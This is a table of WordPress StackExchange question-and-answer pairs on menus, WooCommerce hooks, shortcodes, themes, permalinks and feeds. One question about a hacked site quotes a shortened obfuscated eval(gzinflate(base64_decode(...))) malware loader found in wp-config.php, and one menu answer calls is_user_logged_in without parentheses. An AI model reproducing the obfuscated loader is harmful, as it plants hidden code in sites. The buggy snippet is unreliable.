INSTRUCTION
stringlengths 11
999
| RESPONSE
stringlengths 0
999
| SOURCE
stringlengths 16
38
| METADATA
dict |
---|---|---|---|
How change menu for each user in plugin?
I need to change navigation menu in my plugin for each user for example:
if(is_user_logged_in())
wp_nav_menu(...);
else
wp_nav_menu(...);
But when I apply the above code in my plugin it shows me some errors. What should I do? | Create a menu for each type of user in Dashboard >> Appearence >> Menus >> create a new menu (eg Then add a function to your theme's functions.php to switch the menus. Something like as follows:
add_filter('wp_nav_menu_args', 'wp_nav_menu_args_filter');
function wp_nav_menu_args_filter($args = array()) {
if (is_user_logged_in) {
// Menu for Logged In Users
$args['menu'] = "name-of-user-menu";
return $args;
} else {
// Default Menu
return $args;
}
} | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "plugins, menus, users"
} |
Reposition Woocommerce Message
I'm trying to reposition the messages in my Woocommerce theme. For example the successfully added to cart message. They appear to automatically be placed at the very top of where the woocommerce wrapper start begins.
I've already found this link which allows me to change the wording of the message but what I need is to remove the message from where it is and reposition it elsewhere.
I've scoured the woocommerce forum, this forum and the woocommerce template files. There is a messages.php but that only appears to contain the markup for the messages. I cannot figure out how to change where the messages appear. Any help on this would be greatly appreciated. | WooCommerce renders messages by using `woocommerce_show_messages()` function. This function is hooked to `woocommerce_before_single_product` action. So if you don't want to render messages before single product, you need to remove that hook for the action.
remove_action( 'woocommerce_before_single_product', 'woocommerce_show_messages' );
If you want to render messages in another place, then just call `woocommerce_show_messages()` function in desired place. | stackexchange-wordpress | {
"answer_score": 3,
"question_score": 1,
"tags": "plugins, php, filters, hooks"
} |
allow edit of custom post type but not regular posts?
Is it possible to set the capabilities of a role to allow editing of a custom content type but not editing of the regular post types? If so, how would I go about doing that? Thanks! | You could install one of many plugins like this to restrict access for different user roles <
Or you could remove the admin menu links to any items you want for a specific user using PHP code. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 2,
"tags": "custom post types, user roles, capabilities"
} |
Manipulated shortcode output
I have a problem with a plugin I developed that registers a shortcode. The shortcode returns a string with valid HTML but some themes seems to manipulate the HTML returned by the shortcode, and I really can't understand what is the reason.
For example, this is the correct output of my shortcode:
<div class="tile">
<a>
<img src="0.jpg" />
<div class="caption">
<p>Kate</p>
</div>
</a>
</div>
and this is the output I get with some theme:
<div class="tile">
<a>
<img src="0.jpg" />
<div class="caption">
<p>Kate</p>
</div>
</a>
</div>
<p></p></a></div>
As you can see there is some extra tag after the closing of the 'caption' DIV.
Maybe these themes apply some kind of HTML validation/sanitization? | It looks like you are getting caught in some `wpautop()` replacements. Many people find the defualt WordPress `wpautop()` filter to be frustrating. So often in highly customized themes, there is a homegrown replacement.
For example, the theme you mentioned has a replacememt for some of the default WordPress filters. You can see a thread about it here... <
The only recommendation I can make is to remove the clean formatting ( indents, newlines, etc. ) and see if that helps. Don't give the filters anything to wrap. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "shortcode"
} |
What is the earliest hook comment meta can be saved?
I'm trying to integrate a new security checker service into WordPress comments. My goal is to tell the service's api to scan all links in a comment.
My question is: what is the earliest (or most proper) hook to use to add comment meta keeping in mind that the goal is to automatically mark comments as spam? | If you look at the source for `wp_new_comment()` there is `comment_post` action hook, which fires immediately after comment is inserted into database and so is probably what fits your needs.
However logically it's _after_ decision if comment is spam or not, I am not sure how meta is involved in your case since approval status is not natively meta field. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "comments"
} |
Programmatically Selecting Theme Based on URL
I've inherited a site which has a mobile version. Let's call it qqq.com. It has a Varnish server in front of it to cache the pages. But it seems the Varnish server is also detecting mobile requests, and changing the URL to m.qqq.com.
The WP install is then switching to the qqq-mobile theme, instead of the qqq theme.
How would you do that? I'm trying to locate the code that does this, so I can do the same thing on my local dev instance.
Thanks for your help. | The activated theme is stored in the `options` table: `template` is the parent theme, `stylesheet` is the child theme. If there is no child theme the two values will be the same.
The current hostname (URL without protocol or path) is available in the `$_SERVER` variable.
You can then hook into the `stylesheet` and `template` filters to force a different theme.
function use_mobile_theme( $current_theme ) {
// If the domain is m.qqq.com and the current theme is 'qqq'
if ( 'm.qqq.com' === $_SERVER['HTTP_HOST'] && 'qqq' === $current_theme ) {
// Use the 'qqq-mobile' theme instead
return 'qqq-mobile';
} else {
// Otherwise, keep the current theme
return $current_theme;
}
}
add_filter( 'stylesheet', 'use_mobile_theme' );
add_filter( 'template', 'use_mobile_theme' );
If `qqq-mobile` **is a child theme** , remove the `add_filter( 'template', ...` line. | stackexchange-wordpress | {
"answer_score": 5,
"question_score": 1,
"tags": "plugin development, themes, mobile"
} |
What is the template file for topic layouts in bbPress?
The theme I'm using edits the Topic layout in such a way that the role is not being displayed anymore. I'd like to revert those changes in the theme editor, but I can't seem to find the template file for the bbPress topic layout.
Could anyone tell me where to find it? | Line #45 of `loop-single-reply.php` (Source)
<?php bbp_reply_author_link( array( 'sep' => '<br />', 'show_role' => true ) ); ?>
See Also: < < | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "themes, templates, bbpress"
} |
(WooCommerce) Remove Sidebar only on Single-Product page
I'm creating a theme and don't want to display the sidebar on single-product's page.
Following the recommendations of WooCommerce, I made a copy of " **templates** " folder (under woocommerce plugin) and installed on **mytheme/templates** , changing the folder's name to " **woocommerce** ". On my theme's root, I created a file called **sidebar-shop.php**.
By now I have the sidebar displayed on the shop page and on the single-product page. I tried to remove `do_action('woocommerce_sidebar');` from woocommerce/single-product.php and also tried to create a conditional on **woocomerce/shop/sidebar.php** , something like:
if (!is_page('single-product') {
get_sidebar('shop');
}
but the sidebar remains.
Is there a working option to remove only the single product sidebar? | The conditional tag for single products is is_product()
add_action('template_redirect', 'remove_sidebar_shop');
function remove_sidebar_shop() {
if ( is_product('add-page-i.d-here') ) {
remove_action('woocommerce_sidebar', 'woocommerce_get_sidebar');
}
}
You may also want to change the layout on that product page to full width to remove the gap and reduce the width of the content area using a custom body class which you can also generate conditionally.
Woo Commerce conditional tags < | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "plugins, sidebar"
} |
Increase size of Google Document Site Wide
How do I increase the size of an embedded Google document in Wordpress site wide. Without the need to add css `width="100%" height="800px"` to every iframe.
<iframe src="
Example:
< | This answer contains a solution. It seems the parent element needs a width declaration of 100%, which allows the iframe element to use that 100% width. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "embed, google"
} |
In Woocommerce theme need to add custom external link
I am new in Woocommerce plugins and i have requirements that in External/Affiliate product there is one "Product URL" field that is linking in to external url of "Buy now button".
Now i want that same url on product images and product name.
How can i do it ? | External products in WooCommerce are instances of `WC_Product_External` class. This class has public `get_product_url()` method which you can use to receive external URL.
So you need to get (current) product and call that method to get URL. After it you can use that URL in your template to wrap an image or something else.
/**
* Your custom template
*/
global $product;
?>
<div>
...
<a href="<?php echo esc_url( $product->get_product_url() ) ?>"><img ...></a>
...
</div> | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "plugins, images, links"
} |
post_date_gmt and post_date
I am inserting posts programmatically using wp_insert_post. A typical call would look like this:
$news_item = array (
'post_title' => $titleField,
'post_content' => $retrieve_result['content'],
'post_status' => 'pending',
'post_author' => $user->ID,
'post_type' => 'post',
'post_date_gmt' => $post_date_gmt
);
$post_id = wp_insert_post( $news_item );
My question is about the parameter post_date_gmt, is this a correct use? Should I use post_date instead? What value is displayed on the screen? I need explanation of both. Documentation does not offer much.
Thanks. | From the comments in the `WP_Post` class in `wp-includes/post.php`:
> You can set the post date manually, by setting the values for 'post_date' and 'post_date_gmt' keys.
So if you're adding a post programmatically, and you want a date attached, you should set both keys. (If you leave them blank, WordPress will use the appropriate current date for both.) | stackexchange-wordpress | {
"answer_score": 4,
"question_score": 2,
"tags": "wp insert post, date time"
} |
Convert Custom Taxonomy Posts to Normal Posts
Previously I was using a custom taxonomy based theme, Flavour. However after some successfull years with that theme, I tried with a different theme.
However in the new theme, I am unable to see or get those posts.
Can you please help me to move those custom posts (Movies) to a different catogory (Review, which is already existing with few posts.).
I have named one of the custom type as Movies. However I am unable to locate in MYSQL DB where exactly it is stored. | You can do that in PHPMyAdmin or using a plugin which has already been answered.
Another option is to register the same CPT and taxonomies by changing the names in this code How to Structure Wordpress for an Organization and its Departments?
The data is not lost. All you need to do is retrieve it from your DB. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "custom post types, custom taxonomy, mysql"
} |
How to create a menu item which is not a page
I have a few pages that contains technical tips.
I would like to group these pages under the title "tips" in the menu bar, but I don't want to make the item "tips" clickable because it does not contain any data.
How do I create a menu item which is not a page, whose sole purpose is to server as a menu parent? | In **Appearance » Menus**, is you are using WordPress 3.7+, then from the left, under **Links** area, put your URL and then _name_ the link. If you don't want to link the menu to any physical link, then just put a hash (`#`) there.
!Custom Menu Link | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "menus, pages"
} |
Custom content for Custom Post Type parent page?
I'm looking to set a static page as the parent for a custom post type. Right now the parent page is showing all archives for that custom post type.
For example ` would show content from page ID 20.
Is this possible?
Edit: I created a new Page with the slug `/cpt`, it did not override the custom post type archive parent. | Create a new template file named `archive-cpt.php`, where `cpt` is the slug of your CPT with the custom content and upload in your theme root.
More on Template Hierarchy. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "custom post types"
} |
Is this hook really deprecated? ( manage_{$taxonomy}_custom_column )
I've been adding some data to the columns of two taxonomies in a theme I'm working on. I've hit something that's got me confused though.
I'm using this hook `manage_{$taxonomy}_custom_column` but the Adam Brown page on the hook says it's no longer in use. When using the hook I get no errors, so can this be true? I can't seem to find a replacement either. How can I tell if my hook, or any other hook, is deprecated? | `manage_{$taxonomy}_custom_column` is a dynamic hook, so until you are using a proper value for `$taxonomy` like `post_tag`, it would work perfectly.
Adam Brown page tells it as deprecated because it looks for exact match, while there is a change in the files so the current hook being used are `manage_{$this->screen->taxonomy}_custom_column` or `manage_{$screen->taxonomy}_custom_column` which accepts the same value whether it is `post_tag` or something else, and that's the reason you don't get error or warning. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "filters, hooks, deprecation"
} |
Exclude / Blacklist Permalinks
I'm building a website and I was wondering if it is possible to exclude certain permalinks from beings used.
For example: if my website has a demo of a project running on `www.example.com/demo/` and a user creates a page called demo, I don't want WordPress to create a permalink like `www.example.com/demo/`.
Is there a way to exclude these permalinks? So that WordPress will take the next available permalink? Like `www.example.com/demo-2/` or something? | Interesting question. I found this post and tested, it worked for me:
<
If you don't want to edit your functions.php file an inelegant solution you can try is to create empty placeholder pages with the permalinks you'd like to reserve. If there is a physical directory on the server with that same name that would take precedence over the rewritten WordPress URL. So for example, if you create a WordPress page with slug "demo" and a physical directory in your web public dir called, "demo" you could use that for your demo site files.
Personally I like to use subdomains for this purpose myself to keep any demo work segregated from production, but that's just an opinion. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "permalinks"
} |
Have multiple loops on a page appear after/between page content
I created a function (in function.php) that allows me to put additional loops for different categories into pages:
function custom_summary($atts) {
extract(shortcode_atts(array(
"category" => "",
"posts" => ""
), $atts));
$my_query = new WP_Query("category_name=$category&posts_per_page=$posts");
while ($my_query->have_posts()) : $my_query->the_post();
// Do all the things.
endwhile;
}
add_shortcode('summary', 'custom_summary');
Unfortunately, no matter where I put the shortcode `[summary category="cats" posts="3"]` it is always displayed before the content of the page. In other words, the new WP_Query is processed before anything else happens with page's contents. How can I make the loop appear exactly where I put the shortcode in the backend (e.g. between content on the page)? | Use buffer to simply do that with `ob_start()` & `ob_get_clean()`.
function custom_summary($atts) {
extract(shortcode_atts(array(
"category" => "",
"posts" => ""
), $atts));
ob_start();
$my_query = new WP_Query("category_name=$category&posts_per_page=$posts");
while ($my_query->have_posts()) : $my_query->the_post();
// Do all the things.
endwhile;
wp_reset_postdata();
return ob_get_clean();
}
add_shortcode('summary', 'custom_summary'); | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "loop, pages, shortcode, the content"
} |
How to replace permalinks
I have exported and imported my wordpress project into live server. Now the problem is I have permalink structures as "localhost" format. When I click on any links in my website it redirects me to localhost. How can I change that? my .htaccess file is given below
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /myproject/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /myproject/index.php [L]
</IfModule> | It sounds like you have not properly updated the "WordPress Address" and "Site Address" at wp-admin -> Settings -> General, or you have `define`d `WP_SITEURL` and `WP_HOME` in `wp-config.php` and did not adjust the value when the site was moved.
I can't comment on whether the `.htaccess` file is correct, though I can say that it _would be_ correct for certain sub-directory installs. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "permalinks, localhost"
} |
Work on theme files on a server & browser preview before installing it
A friend of mine who has got a live Wordpress website has bought a new theme. Before he's going to install and use it, he would like to adapt the theme's styles to his current web design. I uploaded the theme files on a different server because I hoped that I can preview the pages while I work on the CSS, but that doesn't work (blank pages).
Is there any possibility to work on the theme CSS files incl. page preview without already installing the new theme? | In order to work on WordPress code, you **_must have_** a working server with PHP properly configured, and you must install WordPress on that server. You cannot simply open the files the way you can vanilla HTML files. That won't work. The PHP will not execute, for one, and there will be no database for another. Without those, you get little to no output, and you certainly get nothing like the dynamically generated site. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "themes, customization, design"
} |
Edit category output
I am using the following to display all the categories from my custom post type. How can I edit it so instead of having the output of the categories in `<ul><li>` elements it has `<a href ....` instead? I need to edit the output of `wp_list_categories( $args );`
<?php $customPostTaxonomies = get_object_taxonomies('video');
if(count($customPostTaxonomies) > 0)
{
foreach($customPostTaxonomies as $tax)
{
$args = array(
'orderby' => 'name',
'show_count' => 0,
'pad_counts' => 0,
'hierarchical' => 1,
'taxonomy' => $tax,
'title_li' => ''
);
echo '<span class="tags-button" style="list-style:none; float:left;">';
wp_list_categories( $args );
echo '</span>';
}
} ?> | You will need to use `style` parameter to define the type of list. And to remove `<br />` tags from the list, set parameter `'echo' => 0` and str_replace to remove `<br />` tag from the output.
$args = array(
'orderby' => 'name',
'show_count' => 0,
'pad_counts' => 0,
'hierarchical' => 1,
'taxonomy' => $tax,
'title_li' => '',
'echo' => 0,
'style' => 'simple'
);
echo '<span class="tags-button" style="list-style:none; float:left;">';
echo str_replace( '<br />', '', wp_list_categories( $args ) );
echo '</span>'; | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 2,
"tags": "php, categories"
} |
Blog only showing code
I would like to have some help. I host a wordpress blog in my raspberry pi running apache2, but when I browse the blog it only shows the code as you can see here <
what can i do? what is the problem with it? any help? | You need to install PHP along side apache2 : < | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "php, code, apache"
} |
how to arrange the bullet list items in vertical
This is my test_site .In there the list items are displaying not in order. I know this is because of some silly css problem. but I don't know how to write the css to make them to display neatly. I tried
`display:inline,display:block` no use.
can anybody please help me to attain this? | This should do the trick:
.entry-content li {
clear: both;
list-style-type:circle !important;
float: left;
} | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "css, list"
} |
Adding custom fields (post meta) before/during wp_insert_post()
Our code base has a ton of logic that executes as the post is inserted/created. However, some of that logic depends on custom post meta. The only way I know of to add post meta to a new post is like so:
$post_id = wp_insert_post($post_obj);
add_post_meta($post_id, 'key', "value");
However, this means that the post meta is not present when hooks on post insertion happen.
Is there any way to set up or include post meta as part of `$post_obj`?
I tried making up new properties of the post object with `$post_obj->custom_key = 'value'` but it didn't seem to actually end up in the database. The only thing I can think of is to hijack an existing property of the post object that I'm not using, like `menu_order`, and store some information there. That's an ugly hack. | You can hook your function to the `wp_insert_post` action hook:
add_action( 'wp_insert_post', 'wpse128767_add_meta' );
function wpse128767_add_meta( $post_id ) {
add_post_meta( $post_id, 'key', 'value' );
}
To make sure your metadata has been added before any other insert hooks run, give it a higher priority:
add_action( 'wp_insert_post', 'wpse128767_add_meta', 1 );
By default `add_action()` uses a priority of `10`; the lower the number, the earlier it runs. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 1,
"tags": "custom field, post meta, wp insert post, hacks"
} |
Wp Query with multiple custom tag(taxonomy) by get the terms
I need to do a wp query that will get any post in custom post type that has one custom taxonomy (not hierarchical, like a post tag) or more. My current code work for one tag, but I've try for multiple and I can't do... I've try a lot of possibilites, query by taxonomy ID etc, no one works for me. Can you help me ? Thank's !
There is my actual code, work for one tag :
<?php foreach (get_the_terms( $post->ID, 'tag_blogcom' ) as $term ) {}?>
<?php
$query = new WP_Query(array(
'post_type' => 'blogcom',
'tag_blogcom' => $term->slug,
'showposts' => 10
));
?> | Try this..
$terms = get_the_terms( $post->ID, 'tag_blogcom' );
foreach ($terms as $term) {
$slugs[] = $term->slug;
}
$query = new WP_Query( array(
'post_type' => 'blogcom',
'tax_query' => array(
array(
'taxonomy' => 'tag_blogcom',
'field' => 'slug',
'terms' => $slugs,
),
),
'posts_per_page' => 10
)
);
Check the Taxonomy Parameters at WordPress Codex. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "custom post types, custom taxonomy, wp query"
} |
Remove hacked code - out of ideas!
I've been working on a project which keeps getting some PHP inserted into the config.php file and it's causing a lot of issues with SEO. I'll paste in a sample of it (it's quite long) after this intro. I've removed it several times, changed the FTP password, admin password and username, the SALTs and checked the .htaccess - beyond that I'm stuck. Any idea how to solve this?
Part of the code, the middle cut down a lot;
eval(gzinflate(base64_decode('pRn9c9o49ufczP0PKuPGuHHAGAihiZN2U7q7M9dtj6Y3c5OkjLBl8GJsr2wINM7/fu9J8kcI2dub67RI1vvU+5KeGvik+cwloQZZf1zzedt1ZZlcpyBPJMvX2pG1Dprepar9axCdwIH0gE+bythF4QS5moVpGq9H/ZZomjWCjjmNihq1vs40FxskklHEdv6/jmX36VOulSG/Bj9Z9GL3mKPHODawgnPPcBAheCc+qFKjBe8n3aMImMpEvSteAiXZR/ovb0UMgrDAs8IXtyOPNwPy2Yyf9vqj027LHnfzEoKLIbhMjdKE6juoGrE7goKguDPBX4+B8='))); | You can move the wp-config file one level up.
You can also create a .htaccess file and upload it to your uploads folder with this code:
<Files ~ ".*..*">
Order Allow,Deny
Deny from all
</Files>
<FilesMatch ".(jpg|jpeg|jpe|gif|png)$">
Order Deny,Allow
Allow from all
</FilesMatch>
Or install a plugin for security which also scans your installation so you can more easily **find the malicious code**. <
More security . < | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "security, wp config, hacked"
} |
What conditional to use for dynamic sidebar check?
I have looked here on WA and also on the codex but there is no definitive source that I could find.
Which is the proper/best way to check to see if a dynamic_sidebar is active and contains a widget?
I see these 3 solutions at large but not sure what the proper way is:
1. if(is_active_sidebar('foo')){ //check if the sidebar is active
dynamic_sidebar('foo');
}
2. dynamic_sidebar('foo'); //basically just call it
3. if(dynamic_sidebar('foo')) //also have seen the inverse if(!dynamic_sidebar('foo') check the return of the function
If they are all valid then why not just choose option 2? | `dynamic_sidebar()` produces sidebar output. So case by case:
1. Checking if sidebar is active is pointless because otherwise it would just do nothing anyway. This check is useful if you need to perform it _elsewhere_ for something different and/or more extensive than just calling it.
2. Calling it just works. **< < so this is what you want**
3. I am not sure what this is supposed to be, but it is rather pointless. If it works in first half then second half is not called. If it doesn't work in first half second half won't do anything either. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "widgets, sidebar"
} |
How to change the quantity of feeds in custom post type?
I created a custom post type "podcast" and all podcasts are inside it. when I visit ` it only shows latest 10 podcasts. How do I change it to 99?
I googled and found the code below:
function feedFilter($query) {
if (is_feed()) {
$query->set('posts_per_page','30');
}
return $query;}
add_filter('pre_get_posts', 'feedFilter');
It doesn't work.
How to customize the feed items quantity in a custom post type? | The file where the `pre_get_posts` action runs is `wp-includes/query.php`, If we look in that file, we'll see that _after_ the action is executed, the `posts_per_page` setting is overridden for feeds with this bit of code:
if ( $this->is_feed ) {
$q['posts_per_page'] = get_option('posts_per_rss');
$q['nopaging'] = false;
}
In this case, we can add a filter to the value of `posts_per_rss` to customize the feed quantity that way.
function feed_action( $query ){
if( $query->is_feed( 'podcast' ) ) {
add_filter( 'option_posts_per_rss', 'feed_posts' );
}
}
add_action( 'pre_get_posts', 'feed_action' );
function feed_posts(){
return 99;
} | stackexchange-wordpress | {
"answer_score": 3,
"question_score": 3,
"tags": "custom post types, feed"
} |
Undoing define( 'UPLOADS', ''.'files' ); to repoint to "wp-content/uploads" folder
Is it possible that by setting the “wp-content/uploads” to use a different folder by using `define( 'UPLOADS', ''.'files' );` I have effectively changed all the paths on a permanent basis and if that is the case, how do I undo this so that it points back to “wp-content/uploads”?
I thought that just by commenting out the `define( 'UPLOADS', ''.'files' );` line out I will sort out a problem I am having where a file I am uploading to WP does not want to download because the URL is not the right path to the file. | Not to worry. This question was related to Advanced Custom Fields plugin and this question I had there <
Seems that `define( 'UPLOADS', ''.'files' );` is not affected if you just comment it out in the wp-config file and it does revert back to the “wp-content/uploads” file naturally. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "attachments, uploads"
} |
Show parent categories of the current category
this code returns the parent categories of the current category with links separated by '»':
` echo get_category_parents( $cat, true, ' » ' ); `
will output:
Internet » Blogging » WordPress »
But is it possible not showing the last separated char? Like this:
Internet » Blogging » WordPress
Thanks in advance! ;)
Source: Function Reference/get category parents | Another way to go about it instead of substring, would be to use implode/explode & array filter.
echo implode(" » ", array_filter( explode(" » ", get_category_parents( $cat, true, " » ") ) ) );
**Breaking that down:**
Start with your original string.
$string = get_category_parents( $cat, true, " » ");
Explode the string using your divider to create an array of string parts.
$string_parts = explode(" » ", $string);
Filter out any empty array parts.
$string_parts = array_filter( $string_parts );
Recombine using your divider.
$string = implode(" » ", $string_parts);
Then combine them all together to create my one line solution at the top. The code you have using substring will get the job done, but it's not the way I'd do it. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "php, categories"
} |
Add a captcha form to the woocommerce register form
I am trying to find a way of adding a captcha form on the register form that woocommerce build.
I am able to create a template override but if i was to add the recaptcha directly i dont know what to do if it is correct etc.
I have tried adding the plugin easy captcha but that didn't show anything.
wp version is 3.7 woocommerce version is 2.0.20
Any ideas would be brilliant
thanks in advance
Alex | I finally found there is a hook that someone added:
<?php do_action( 'register_form' ); ?>
I found this in the git repo
Hope that line of code will help someone who struggles finding the answer i did
\----EDIT----
When i looked into this more carefully the fix i did was add this plugin:
<
This then allows you to select where you want the captcha form to appear | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "plugins, user registration, e commerce"
} |
Plugin is available to update when its not
I have developed a plugin for my client, but for some reason, its saying that update is available.Whereas i have no idea how to feed a update. The plugin says in update field, about author with a different name (not me), its a totally confused situation. If someone hit update, my plugin can be overwritten by someone else.
Why is it happening? How i make sure it is not updated by any other means, only if i have feed it to update. | WordPress’ update checker is known to be quite greedy. To prevent these notices:
* use a unique name for your plugin
* use a unique directory name
* filter `http_request_args` and prevent your plugin from being checked (example) | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 2,
"tags": "plugins"
} |
How to find out who handles a permalink?
My previous question isn't faring too well. I guess it may be too specific. Let me approach the problem from another direction.
There's an URL within my Wordpress site. It's occupied - sending the visitor to some resource.
How can I identify the type of resource is associated with this URL, and then find the actual resource - page, category, post, whatever else might be holding up that URL?
The link is not specific, no `/tag/`, `/category/` or such on the path. It's probably a custom permalink attached to some entity. I need to find that entity. | I am not sure I get the question correctly. Anyway, I will try. Correct me if I'm wrong.
What I understand your question is that you want to know which template is serving your URL. If that's what you mean by resource, you should check out displaying current template path. It basically throw the template filename in `head` section.
add_action('wp_head', 'display_template');
function display_template() {
global $template;
$filename = basename($template);
echo '<strong>'.$filename.'</strong>';
}
**N.B:** It should only be used for development purpose.
You can also determine the type of resource seeing the template. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 2,
"tags": "permalinks"
} |
How to customize a plugin?
When I need any functionality, I use a plugin or a snippet code inside `functions.php`. But now, I have a plugin that accomplishes my expected functionality, but I have to replace (not add) some code on it. The problem is that if I upgrade the plugin in the future, my changes may be overridden.
The code is too large to add it on `functions.php`, and create my own plugin would take much time. What is the better way to proceed in this case?
_As a note, I thought that I may could disable the upgrade button for that plugin, although it doesn't seem the better way to proceed._ | If the plugin has action hooks or filters you can make your changes from your theme without modifying the plugin itself.
an action hook:
`do_action( 'my_plugin_do_something' ); `
a filter: `apply_filters( 'my_plugin_filter_something', $something ); `
If the plugin doesn't have those where you need them, you could try suggesting them to the author. For example if the author uses Github.com for developing the plugin and you sent a pull request with the suggested changes you'd have a pretty good chance of having the author add your changes to the core code. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "plugins"
} |
Hiding media uploaded by other users in wordpress multisite?
I am using WordPress Multisite and want to hide media which others have uploaded. Like if X User of that site has uploaded any media in the site, Y User should not be able to see or access this from their login. | /**
* Allow access to own content only
*/
function my_authored_content($query) {
//get current user info to see if they are allowed to access ANY posts and pages
$current_user = wp_get_current_user();
// set current user to $is_user
$is_user = $current_user->user_login;
//if is admin or 'is_user' does not equal #username
if (!current_user_can('manage_options')){
//if in the admin panel
if($query->is_admin) {
global $user_ID;
$query->set('author', $user_ID);
}
return $query;
}
return $query;
}
add_filter('pre_get_posts', 'my_authored_content');
> This will only let admin and the author see the content.
>
> You can either add it to the main functions file or turn it into a plugin. | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "multisite, uploads, user access"
} |
Getshopped (WP-e-commerce): show all protucts on one admin page for drag-and-drop ordering
How I can show all my products on one page? I need drag-and-drop products from page 3 to page 1 but I can't do this over pages.
Or I can use another solution for manual product sorting?
!Getshopped \(WP-e-commerce\) products | Is that generic [enough] admin screen? Usually you should be able to set amount of posts per page via "Screen options" (upper right corner of admin on the page). | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "sort, plugin wp e commerce"
} |
How to keep the /blog slug even in single post slug
I have a simple website on wordpress (latest version), assume example.org.
I wanna have the user posts at something like example.org/blog/username/posttitle.
So I need some levels: 1) example.org/blog (main blog page) 2) example.org/blog/username (username archive page) 3) example.org/blog/username/posttitle (single post page)
I've seen a lot of old solutions that are mainly the same, but even if i set the permalink structure as /blog/%author%/%postname% or simply /blog/%postname% it doesn't work.
I mean, it works, but when you visit a right generated url I get a 404.
Solutions? Cheers, | Try this in your premalink setting page: Use Custom structure and put in this `/blog/%author%/%postname%/` into the field. That should do the trick. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "customization, permalinks, slug"
} |
Hide page header on both index and author pages
I'm using the Roots theme which is tricky to start with. I'm trying to hide the page headers from both index and author pages. I got to do it on index by using the following code:
<?php if(!is_front_page() ){ ?>
<div class="page-header">
<h1>
<?php echo roots_title(); ?>
</h1>
</div>
<?php } ?>
But when I try to add a second conditional to hide it also on author, it doesnt work. This is what I tried:
<?php if(!is_front_page() || !is_author() ) { ?>
<div class="page-header">
<h1>
<?php echo roots_title(); ?>
</h1>
</div>
<?php } ?>
Any idea about what I'm doing wrong?
Thanks! Eric | Just a simple logic error. You want to display the header if you're not on the front page AND if you're not on an author page.
if(!is_front_page() && !is_author() ) { | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "conditional tags, headers, author template"
} |
Revert multiple posts to an older revision?
Is there a way to revert many/all posts to the closest revision to a particular date, all at once?
The specific use case I need it for is to remove all the spammy viagra links from the content on a briefly-infected blog.
Any solution welcome. | Probably is a way with an SQL query.
But another solution is to use Search RegEx, which is a good plugin to be able to search and replace with grep and regular expressions through all posts and pages. And I'd delete all your revisions to make sure the links aren't hidden in old revisions that might get restored at some point.
If you need to develop a regex search string to find spammy `href` links, check <
And you can search for text strings with phpmyadmin in your Cpanel, or better yet, adminer, which is simpler and more secure. WordPress › Adminer « WordPress Plugins. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 1,
"tags": "revisions"
} |
How to make child theme ignore a parent themes template
I have a childtheme of twentythirteen in which i want to use the same template for pages and the blogposts-overview. But in twentythirteen is a page.php and an index.php. So I need override both, meaning I have to do all edits twice.
Any elegant solution for that? | Create `index.php` and format it the way you want.
Then create `page.php` and load the index file with something very simple like:
get_template_part('index'):
Note: This is untested and I am not able to test this right now. If there is a problem, leave a comment and I will run proper testing later and get back to you. | stackexchange-wordpress | {
"answer_score": 3,
"question_score": 1,
"tags": "child theme"
} |
Is it possible to change the contents of "the_content()"?
I have moved a blog over to wordpress and I've used a lot of DOMDocument, xpath, regex and other methods to scrub the text.
This means that `the_content();` is no longer the content and I'm using my own function 'stripped_content();' to echo out my stuff.
I have a plugin that looks for `the_content();` and puts some social media buttons beneath it, but obviously my posts no longer use it.
So how can I make `the_content();` my new content? | Add a filter to `the_content` and put your code in there so you don't need your custom content function:
function wpa_content_filter( $content ) {
// run your code on $content and
return $content;
}
add_filter( 'the_content', 'wpa_content_filter' );
You may need to adjust priority to run your filter before or after others:
// high priority, run early
add_filter( 'the_content', 'wpa_content_filter' 1 );
// low priority, run late
add_filter( 'the_content', 'wpa_content_filter' 999 ); | stackexchange-wordpress | {
"answer_score": 5,
"question_score": 1,
"tags": "the content"
} |
RSS Feed Broken - Limit?
Our RSS feed just stopped working and we get this error in chrome:
This page contains the following errors: error on line 7938 at column 2: Extra content at the end of the document Below is a rendering of the page up to the first error.
There is nothing important on that line other than some post text.
